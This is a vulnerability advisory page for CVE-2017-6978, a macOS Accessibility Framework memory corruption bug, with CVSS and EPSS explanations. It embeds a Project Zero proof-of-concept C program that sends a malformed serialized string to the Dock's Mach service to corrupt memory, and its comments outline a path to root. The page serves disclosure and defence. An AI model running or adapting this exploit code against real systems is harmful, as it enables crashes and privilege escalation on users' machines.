CVE-2017-6978 : Detail

CVE-2017-6978

7.8
/
High
Overflow
1.54%V4
Local
2017-05-22
02h54 +00:00
2017-08-12
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An issue was discovered in certain Apple products. macOS before 10.12.5 is affected. The issue involves the "Accessibility Framework" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42056

Publication date : 2017-05-22 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219 HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism. The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that to index an array of function pointers for the support types: __const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize __const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co __const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ... __const:0000000000053ED8 dq offset _cfNumberUnserialize __const:0000000000053EE0 dq offset _cfBooleanUnserialize __const:0000000000053EE8 dq offset _cfArrayUnserialize __const:0000000000053EF0 dq offset _cfDictionaryUnserialize __const:0000000000053EF8 dq offset _cfDataUnserialize __const:0000000000053F00 dq offset _cfDateUnserialize __const:0000000000053F08 dq offset _cfURLUnserialize __const:0000000000053F10 dq offset _cfNullUnserialize __const:0000000000053F18 dq offset _cfAttributedStringUnserialize __const:0000000000053F20 dq offset _axElementUnserialize __const:0000000000053F28 dq offset _axValueUnserialize __const:0000000000053F30 dq offset _cgColorUnserialize __const:0000000000053F38 dq offset _axTextMarkerUnserialize __const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize __const:0000000000053F48 dq offset _cgPathUnserialize From a cursory inspection it's clear that these methods don't expect to parse untrusted data. The first method, cfStringUnserialize, trusts the length field in the serialized representation and uses that to byte-swap the string without any bounds checking leading to memory corruption. I would guess that all the other unserialization methods should also be closely examined. This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism is also used in replies to dock clients. com.apple.uninstalld is a client of the Dock and runs as root so by first exploiting this bug to gain code execution as the Dock process, we could trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root. This poc just crashes the Dock process though. Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize: https://github.com/facebook/WebDriverAgent/pull/99/files Tested on MacOS 10.12.3 (16D32) */ // ianbeer #if 0 MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism. The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that to index an array of function pointers for the support types: __const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize __const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co __const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ... __const:0000000000053ED8 dq offset _cfNumberUnserialize __const:0000000000053EE0 dq offset _cfBooleanUnserialize __const:0000000000053EE8 dq offset _cfArrayUnserialize __const:0000000000053EF0 dq offset _cfDictionaryUnserialize __const:0000000000053EF8 dq offset _cfDataUnserialize __const:0000000000053F00 dq offset _cfDateUnserialize __const:0000000000053F08 dq offset _cfURLUnserialize __const:0000000000053F10 dq offset _cfNullUnserialize __const:0000000000053F18 dq offset _cfAttributedStringUnserialize __const:0000000000053F20 dq offset _axElementUnserialize __const:0000000000053F28 dq offset _axValueUnserialize __const:0000000000053F30 dq offset _cgColorUnserialize __const:0000000000053F38 dq offset _axTextMarkerUnserialize __const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize __const:0000000000053F48 dq offset _cgPathUnserialize From a cursory inspection it's clear that these methods don't expect to parse untrusted data. The first method, cfStringUnserialize, trusts the length field in the serialized representation and uses that to byte-swap the string without any bounds checking leading to memory corruption. I would guess that all the other unserialization methods should also be closely examined. This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism is also used in replies to dock clients. com.apple.uninstalld is a client of the Dock and runs as root so by first exploiting this bug to gain code execution as the Dock process, we could trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root. This poc just crashes the Dock process though. Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize: https://github.com/facebook/WebDriverAgent/pull/99/files Tested on MacOS 10.12.3 (16D32) #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/message.h> #include <servers/bootstrap.h> struct dock_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_descriptor_t ool_desc; uint8_t PAD[0xc]; uint32_t ool_size; }; int main() { kern_return_t err; mach_port_t service_port; err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port); if (err != KERN_SUCCESS) { printf(" [-] unable to lookup service"); exit(EXIT_FAILURE); } printf("got service port: %x\n", service_port); uint32_t serialized_string[] = { 'abcd', // neither 'owen' or 'aela' -> bswap? 0x0, // type = cfStringUnserialize 0x41414141, // length 0x41414141, // length 0x1, // contents 0x2, 0x3 }; struct dock_msg m = {0}; m.hdr.msgh_size = sizeof(struct dock_msg); m.hdr.msgh_local_port = MACH_PORT_NULL; m.hdr.msgh_remote_port = service_port; m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem m.ool_size = sizeof(serialized_string); m.body.msgh_descriptor_count = 1; m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR; m.ool_desc.address = serialized_string; m.ool_desc.size = sizeof(serialized_string); m.ool_desc.deallocate = 0; m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY; err = mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf(" [-] mach_msg failed with error code:%x\n", err); exit(EXIT_FAILURE); } printf(" [+] looks like that sent?\n"); return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.12.4

References

http://www.securitytracker.com/id/1038484
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT207797
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/42056/
Tags : exploit, x_refsource_EXPLOIT-DB